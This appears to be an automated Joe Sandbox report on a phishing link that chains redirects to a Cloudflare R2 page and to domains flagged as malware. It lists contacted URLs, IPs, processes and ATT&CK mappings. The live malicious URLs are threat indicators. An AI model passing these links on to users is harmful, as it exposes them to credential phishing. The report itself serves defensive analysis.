Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://javascript.nwbox.com/IEContentLoaded/
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://json.org/json2.js
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_79.1.dr	String found in binary or memory: http://schema.org/WebPage
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context
Source: chromecache_79.1.dr	String found in binary or memory: https://apis.google.com
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://developer.mozilla.org/en/Security/CSP)
Source: chromecache_76.1.dr	String found in binary or memory: https://developers.cloudflare.com/r2/data-access/public-buckets/
Source: chromecache_78.1.dr, chromecache_71.1.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: chromecache_79.1.dr	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chromecache_79.1.dr	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chromecache_79.1.dr	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chromecache_79.1.dr	String found in binary or memory: https://ogs.google.com/widget/callout?prid=19040336
Source: chromecache_76.1.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico
Source: chromecache_79.1.dr	String found in binary or memory: https://www.google.com/_/og/promos/
Source: chromecache_79.1.dr	String found in binary or memory: https://www.google.com/intl/en/about/products
Source: chromecache_79.1.dr	String found in binary or memory: https://www.google.com/url?q=https://accounts.google.com/signin/v2/identifier%3Fec%3Dfutura_hpp_co_s
Source: chromecache_79.1.dr	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=qabr
Source: chromecache_79.1.dr	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qcwid

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal52.win@18/25@28/12

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1940,i,2132055316792675880,14867391708354348960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2164 --field-trial-handle=1940,i,2132055316792675880,14867391708354348960,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	3 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/favicon.ico	100%	Avira URL Cloud	phishing
http://json.org/json2.js	0%	Avira URL Cloud	safe
https://glp6srokudo.tkllop.online/obufsssssssscaaatoion/	100%	Avira URL Cloud	malware
https://glp6srokudo.tkllop.online/redirect_to_gmail/	100%	Avira URL Cloud	malware
http://blindsignals.com/index.php/2009/07/jquery-delay/	0%	Avira URL Cloud	safe
http://bugs.jquery.com/ticket/12282#comment:15	0%	Avira URL Cloud	safe
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
google.com	142.250.181.142	true	false	high
pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	162.159.140.237	true	false	unknown
code.jquery.com	151.101.194.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
freeipapi.com	104.21.16.1	true	false	high
click.pstmrk.it	3.251.43.2	true	false	high
www.google.com	142.250.181.132	true	false	high
drive.google.com	172.217.19.238	true	false	high
glp6srokudo.tkllop.online	104.21.57.143	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2	false		high
https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://click.pstmrk.it/3s/pub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2Findex.html/1FPh/kO25AQ/AQ/3e065842-509e-4fd5-abbb-5283a8ac4086/1/RkloQ4shWG	false		high
https://pub-c51a5b71098c4a50b29ad0816d037292.r2.dev/index.html	false		unknown
https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%252Findex.html%2F1FPh%2FkO25AQ%2FAQ%2F3e065842-509e-4fd5-abbb-5283a8ac4086%2F1%2FRkloQ4shWG/1FPh/k_25AQ/AQ/dde43c95-583c-418a-adc0-08f493a126f6/1/Jb7OErMoyM	false		high
https://glp6srokudo.tkllop.online/obufsssssssscaaatoion/	false	Avira URL Cloud: malware	unknown
https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%25252Findex.html%252F1FPh%252FkO25AQ%252FAQ%252F3e065842-509e-4fd5-abbb-5283a8ac4086%252F1%252FRkloQ4shWG%2F1FPh%2Fk_25AQ%2FAQ%2Fdde43c95-583c-418a-adc0-08f493a126f6%2F1%2FJb7OErMoyM/1FPh/k_25AQ/AQ/b4b83026-0c0f-44d4-9e59-6245afb2c831/1/0MDiG0XvGK	false		high
https://code.jquery.com/jquery-1.9.1.js	false		high
https://glp6srokudo.tkllop.online/redirect_to_gmail/	false	Avira URL Cloud: malware	unknown
https://www.google.com/	false		high
https://freeipapi.com/api/json/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ogs.google.com/widget/app/so?eom=1	chromecache_79.1.dr	false		high
http://bugs.jquery.com/ticket/12359	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://jquery.org/license	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://json.org/json2.js	chromecache_78.1.dr, chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_78.1.dr, chromecache_71.1.dr	false		high
https://www.google.com/_/og/promos/	chromecache_79.1.dr	false		high
http://sizzlejs.com/	chromecache_78.1.dr, chromecache_71.1.dr	false		high
https://www.google.com/intl/en/about/products	chromecache_79.1.dr	false		high
https://ogs.google.com/widget/callout?prid=19040336	chromecache_79.1.dr	false		high
http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://jsperf.com/getall-vs-sizzle/2	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://schema.org/WebPage	chromecache_79.1.dr	false		high
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_78.1.dr, chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
http://bugs.jquery.com/ticket/12282#comment:15	chromecache_78.1.dr, chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://dev.w3.org/csswg/cssom/#resolved-values	chromecache_78.1.dr, chromecache_71.1.dr	false		high
https://developer.mozilla.org/en/Security/CSP)	chromecache_78.1.dr, chromecache_71.1.dr	false		high
https://ogs.google.com/widget/callout?eom=1	chromecache_79.1.dr	false		high
https://apis.google.com	chromecache_79.1.dr	false		high
https://www.cloudflare.com/favicon.ico	chromecache_76.1.dr	false		high
http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_A	chromecache_78.1.dr, chromecache_71.1.dr	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/r2/data-access/public-buckets/	chromecache_76.1.dr	false		high
https://github.com/jquery/jquery/pull/764	chromecache_78.1.dr, chromecache_71.1.dr	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=491668	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://javascript.nwbox.com/IEContentLoaded/	chromecache_78.1.dr, chromecache_71.1.dr	false		high
http://jquery.com/	chromecache_78.1.dr, chromecache_71.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	freeipapi.com	United States	13335	CLOUDFLARENETUS	false
172.217.19.238	drive.google.com	United States	15169	GOOGLEUS	false
162.159.140.237	pub-c51a5b71098c4a50b29ad0816d037292.r2.dev	United States	13335	CLOUDFLARENETUS	false
3.251.43.2	click.pstmrk.it	United States	16509	AMAZON-02US	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
172.67.164.87	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.112.1	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.57.143	glp6srokudo.tkllop.online	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577052
Start date and time:	2024-12-17 22:22:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal52.win@18/25@28/12

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.19.206, 64.233.163.84, 172.217.17.46, 199.232.214.172, 172.217.17.35, 172.217.17.67, 142.250.181.99, 172.217.17.42, 172.217.19.202, 216.58.208.234, 172.217.21.42, 142.250.181.42, 172.217.19.234, 142.250.181.138, 142.250.181.74, 172.217.17.74, 172.217.19.10, 142.250.181.106, 142.250.181.142, 20.190.177.85, 23.39.157.166, 20.12.23.50
Excluded domains from analysis (whitelisted): clients1.google.com, ssl.gstatic.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fpub-c51a5b71098c4a50b29ad0816d037292.r2.dev%2525252Findex.html%25252F1FPh%25252FkO25AQ%25252FAQ%25252F3e065842-509e-4fd5-abbb-5283a8ac4086%25252F1%25252FRkloQ4shWG%252F1FPh%252Fk_25AQ%252FAQ%252Fdde43c95-583c-418a-adc0-08f493a126f6%252F1%252FJb7OErMoyM%2F1FPh%2Fk_25AQ%2FAQ%2Fb4b83026-0c0f-44d4-9e59-6245afb2c831%2F1%2F0MDiG0XvGK/1FPh/le25AQ/AQ/97716a3f-8a20-4219-bc1f-a50876348ddc/1/HkaU6VJ0d2#

Input	Output
URL: https://pub-c51a5b71098c4a50b29ad0816d037292.r2.de... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain redirects. While some contextual factors, such as the use of a base64-encoded image, may suggest legitimate functionality, the overall behavior of the script is highly suspicious and warrants further investigation." }
